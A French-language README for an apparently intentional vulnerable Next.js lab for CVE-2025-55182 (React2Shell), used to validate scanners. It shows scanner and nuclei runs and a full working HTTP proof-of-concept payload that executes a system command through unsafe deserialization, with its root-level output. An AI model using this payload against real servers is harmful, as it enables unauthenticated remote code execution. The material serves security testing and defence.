
Environnement Next.js intentionnellement vulnérable avec exploit PoC et modèles de détection pour CVE-2025-55182 (React2Shell RCE), permettant les tests de sécurité et la validation de scanners.
Ce dépôt fournit un environnement minimal intentionnellement vulnérable pour tester les scanners de sécurité contre la récente vulnérabilité critique d'exécution de code à distance (React2Shell) affectant les composants serveur React et Next.js.
CVE-2025-55182 : Une vulnérabilité d'exécution de code à distance sans authentification existe dans les composants serveur React versions 19.0.0, 19.1.0, 19.1.1 et 19.2.0, incluant les paquets suivants : react-server-dom-parcel, react-server-dom-turbopack et react-server-dom-webpack. Le code vulnérable désérialise de manière non sécurisée les charges utiles des requêtes HTTP vers les points de terminaison des fonctions serveur.
CVE-2025-66478 : Suit l'impact en aval sur les applications Next.js utilisant le routeur d'application.
[!Warning] Cette configuration est intentionnellement vulnérable et ne doit jamais être exposée à l'internet public ou utilisée en production.
Cette application est un très petit projet Next.js qui :
next : 16.0.6react : 19.2.0react-dom : 19.2.0[!TIP] Épingler
reactetreact-domest optionnel, car une version affectée denextest vulnérable par défaut à cause du routeur d'application.
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
Utilisez le scanner fourni par AssetNote :
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
Retournera :
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Retournera :
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
Charge utile HTTP PoC de ici.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Retournera :
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
